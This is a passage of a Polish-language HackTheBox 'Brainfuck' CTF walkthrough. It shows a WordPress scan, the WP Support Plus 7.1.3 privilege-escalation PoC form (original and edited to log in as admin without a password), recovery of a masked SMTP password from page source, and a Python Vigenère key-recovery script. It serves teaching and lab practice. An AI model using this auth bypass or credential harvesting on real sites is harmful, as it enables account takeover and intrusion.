&lt;li>certyfikat SSL wydany został dla domen: &lt;code>brainfuck.htb&lt;/code>, &lt;code>www.brainfuck.htb&lt;/code> i &lt;code>sup3rs3cr3t.brainfuck.htb&lt;/code>&lt;/li>
&lt;/ul>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> .
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> .
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Należy edytować plik odpowiedzialny za rozpoznawanie nazw domenowych w Linuxie &lt;code>/etc/hosts&lt;/code>, uzupełniając go o wartości z certyfikatu. Dzięki temu możemy wejść pod dany adres z poziomu przeglądarki.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./hosts.png" alt="Plik /etc/hosts">
&lt;/figure>
&lt;h3>Wordpress&lt;span class="hx:absolute hx:-mt-20" id="wordpress">&lt;/span>
&lt;a href="#wordpress" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Po otwarciu pierwszej z domen (&lt;code>https://brainfuck.htb&lt;/code>) i zaakceptowaniu zagrożenia, ukazuje się strona startowa informująca, że jest to witryna bazująca na Wordpressie.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./brainfuck.htb-wordpress.png" alt="Strona główna to wordpress">
&lt;/figure>
&lt;p>Wordpress wraz z dodatkami ma to do siebie, że jest dziurawy bardziej niż tradycyjny, szwajcarski ser. Do zweryfikowania tej instancji wykorzystane zostaje narzędzie &lt;code>wpscan&lt;/code>&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> wpscan --url https://brainfuck.htb/ --api-token REDACTED --disable-tls-checks
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| [!] Title: WP Support Plus Responsive Ticket System &amp;lt; 8.0.0 - Privilege Escalation
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| Fixed in: 8.0.0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| References:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| - https://wpscan.com/vulnerability/b1808005-0809-4ac7-92c7-1f65e410ac4f
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| - https://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| - https://packetstormsecurity.com/files/140413/
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">|
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| [!] Title: WP Support Plus Responsive Ticket System &amp;lt; 8.0.8 - Remote Code Execution
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| Fixed in: 8.0.8
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| References:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| - https://wpscan.com/vulnerability/85d3126a-34a3-4799-a94b-76d7b835db5f
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| - https://plugins.trac.wordpress.org/changeset/1763596
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">|
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| Version: 7.1.3 (100% confidence)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">.
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>W oczy rzucają się dwie podatności - Privilege Escalation (eskalacja uprawnień) i RCE (zdalne wykonanie kodu). Wykorzystana zostanie pierwsza z nich (odkryta przez polskiego badacza bezpieczeństwa &lt;a href="https://security.szurek.pl/"target="_blank" rel="noopener">Kacpra Szurka&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>). Znaleźć ją można z wykorzystaniem narzędzia &lt;code>searchsploit&lt;/code>, będącego konsolowym programem do przeglądania bazy &lt;code>exploit.db&lt;/code> (rozwijanej przez Offensive Security).&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> searchsploit WP Support Plus Responsive Ticket
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">-------------------- ---------------------------------
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> Exploit Title | Path
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">-------------------- ---------------------------------
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation | php/webapps/41006.txt
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">-------------------- ---------------------------------
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> searchsploit -x &lt;span class="m">41006&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="gp">#&lt;/span> Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">#&lt;/span> Date: 10-01-2017
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">#&lt;/span> Software Link: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">#&lt;/span> Exploit Author: Kacper Szurek
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">#&lt;/span> Contact: http://twitter.com/KacperSzurek
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">#&lt;/span> Website: http://security.szurek.pl/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">#&lt;/span> Category: web
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">1. Description
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">You can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie().
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">http://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">2. Proof of Concept
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">&amp;lt;form method=&amp;#34;post&amp;#34; action=&amp;#34;http://wp/wp-admin/admin-ajax.php&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> Username: &amp;lt;input type=&amp;#34;text&amp;#34; name=&amp;#34;username&amp;#34; value=&amp;#34;administrator&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> &amp;lt;input type=&amp;#34;hidden&amp;#34; name=&amp;#34;email&amp;#34; value=&amp;#34;sth&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> &amp;lt;input type=&amp;#34;hidden&amp;#34; name=&amp;#34;action&amp;#34; value=&amp;#34;loginGuestFacebook&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> &amp;lt;input type=&amp;#34;submit&amp;#34; value=&amp;#34;Login&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&amp;lt;/form&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">Then you can go to admin panel.
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Należy edytować formularz z dostarczonego &lt;em>PoC&lt;/em> i dostosować go do swoich potrzeb. W tym przypadku trzeba zmienić adres URL panelu administratora Wordpress oraz adres email. Do tej pory znany jest tylko URL. Skąd wziąć email? Tak się składa, że to również znajduje się na stronie &lt;code>http://brainfuck.htb&lt;/code>. Znaleźć możemy tam wpis użytkownika &lt;code>admin&lt;/code>, proszącego o kontakt pod adresem &lt;code>orestis@brainfuck.htb&lt;/code>.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./brainfuck.htb-mainpage.png" alt="Strona główna i ważne na niej dane">
&lt;/figure>
&lt;p>&lt;em>PoC&lt;/em> - (ang. Proof of Concept) jest to fragment kodu mający za zadanie zademonstrować działanie pewnej funkcjonalności lub programu
{: .notice&amp;ndash;info}&lt;/p>
&lt;p>Kod po edycji prezentuje się następująco:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">&amp;lt;form method=&amp;#34;post&amp;#34; action=&amp;#34;https://brainfuck.htb//wp-admin/admin-ajax.php&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> Username: &amp;lt;input type=&amp;#34;text&amp;#34; name=&amp;#34;username&amp;#34; value=&amp;#34;admin&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> &amp;lt;input type=&amp;#34;hidden&amp;#34; name=&amp;#34;email&amp;#34; value=&amp;#34;orestis@brainfuck.htb&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> &amp;lt;input type=&amp;#34;hidden&amp;#34; name=&amp;#34;action&amp;#34; value=&amp;#34;loginGuestFacebook&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> &amp;lt;input type=&amp;#34;submit&amp;#34; value=&amp;#34;Login&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&amp;lt;/form&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Zapisujemy go jako &lt;code>index.html&lt;/code> i wykonujemy w konsoli proste polecenie uruchamiające serwer HTTP w aktualnym folderze:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ python3 -m http.server &lt;span class="m">8001&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Wchodzimy w przeglądarce pod adres &lt;code>http://localhost:8001&lt;/code> i klikamy dostępny przycisk &lt;code>Login&lt;/code>.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./wpscan-exploit.png" alt="Exploit na plugin Wordpressa">
&lt;/figure>
&lt;p>Po chwili odświeżamy główną stronę &lt;code>http://brainfuck.htb&lt;/code> gdzie zostajemy automatycznie zalogowani jako użytkownik &lt;code>admin&lt;/code>.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./wpscan-exploit-worked.png" alt="Poprawnie działający exploit">
&lt;/figure>
&lt;p>Przechodzimy do panelu Wordpressa poprzez przycisk &lt;code>Edit my profile&lt;/code>. W menu pluginów można zauważyć, że zainstalowany jest dodatek &lt;code>Easy WP SMTP&lt;/code>. Wchodzimy do jego ustawień, gdzie powinna znajdować się konfiguracja serwera pocztowego. Hasło SMTP jest jednak zamaskowane&amp;hellip;co można łatwo obejść podglądając kod strony.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./easysmtp.png" alt="Plugin pocztowy">
&lt;/figure>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./easysmtp-details.png" alt="Szczegóły dodatku">
&lt;/figure>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./easysmtp-password.png" alt="Odkryte hasło">
&lt;/figure>
&lt;h3>Klient IMAP&lt;span class="hx:absolute hx:-mt-20" id="klient-imap">&lt;/span>
&lt;a href="#klient-imap" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Wykorzystując dowolnego klienta pocztowego, łączymy się z serwerem z wykorzystaniem znalezionych danych. W moim przypadku wykorzystałem odpowiednio skonfigurowanego Thunderbirda (popularny klient poczty email na systemy Linux).&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./thunderbird-imap.png" alt="Konfiguracja IMAP">
&lt;/figure>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./thunderbird-smtp.png" alt="Konfiguracja SMTP">
&lt;/figure>
&lt;p>Natychmiast po zapisaniu ustawień pojawia się wiadomość w skrzynce. Zawiera ona dane logowania do &lt;em>sekretu&lt;/em>.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./thunder-email-root.png" alt="Email z hasłem">
&lt;/figure>
&lt;p>Tu należy cofnąć się do wyników skanu nmapem, gdzie odkryta została subdomena &lt;code>sup3rs3cr3t.brainfuck.htb&lt;/code>. Wchodzimy na nią i od razu logujemy się pozyskanym loginem i hasłem. Uzyskujemy w ten sposób dostęp do nowych wątków na forum - przed zalogowaniem widoczny jest tylko &lt;em>Development&lt;/em>&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./supersecret-login.png" alt="Logowanie do forum">
&lt;/figure>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./secret-forum.png" alt="Ukryte wątki">
&lt;/figure>
&lt;h3>Zaszyfrowany wątek&lt;span class="hx:absolute hx:-mt-20" id="zaszyfrowany-wątek">&lt;/span>
&lt;a href="#zaszyfrowany-w%c4%85tek" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>W &lt;em>SSH Access&lt;/em> znaleźć można rozmowę między administratorem, a użytkownikiem &lt;code>orestis&lt;/code>, który informuje w agresywny sposób o utracie klucza ssh i żąda wydania nowego. Orestis otwiera nowy, zaszyfrowany wątek, w którym przekazane zostaną kolejne wiadomości. Tu należy zwrócić uwagę na podpis pod każdym wpisem naszego użytkownika - &lt;code>Orestis - Hacking for fun and profit&lt;/code>. Ta informacja przyda się później.&lt;/p>
&lt;p>Zaszyfrowany wątek o nazwie &lt;em>Key&lt;/em> zawiera coś co na pierwszy rzut oka przypomina zbiór losowych liter. Jest to tzw. &lt;a href="https://pl.wikipedia.org/wiki/Szyfr_Vigen%C3%A8re%E2%80%99a"target="_blank" rel="noopener">Szyfr Vigenère’a&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. W dużym uproszczeniu, polega on na przesunięciu liter tekstu jawnego, względem klucza o takiej samej długości (jeśli klucz jest krótszy, to wykorzystana zostaje jego wielokrotność). Tu przyda się podpis użytkownika zapisany wcześniej. Można go znaleźć w analizowanym wątku, ale nie w jawnej postaci - np. &lt;code>Wejmvse - Fbtkqal zqb rso rnl cwihsf&lt;/code>. W celu odnalezienia klucza napisałem prosty kod w języku Python. Dla ułatwienia usunąłem znaki niebędące literami.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python3" data-lang="python3">&lt;span class="line">&lt;span class="cl">&lt;span class="n">plain&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;OrestisHackingforfunandprofit&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">encode&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;WejmvseFbtkqalzqbrsornlcwihsf&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">str&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">l1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">l2&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">zip&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">plain&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">encode&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">n&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="nb">ord&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">l2&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="nb">ord&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">l1&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="mi">26&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">97&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">key&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="nb">chr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">n&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">)&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Po jego wykonaniu otrzymujemy ciąg &lt;code>infuckmybrainfuckmybrainfuckm&lt;/code>. Biorąc pod uwagę, że zastosowana została prawdopodobnie wielokrotność klucza, to możemy bezpiecznie założyć, że jego oryginalna postać to &lt;code>fuckmybrain&lt;/code>. W tym momencie możemy wykorzystać dowolne narzędzie online do deszyfrowania (np. &lt;a href="https://gchq.github.io/CyberChef"target="_blank" rel="noopener">CyberChef&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
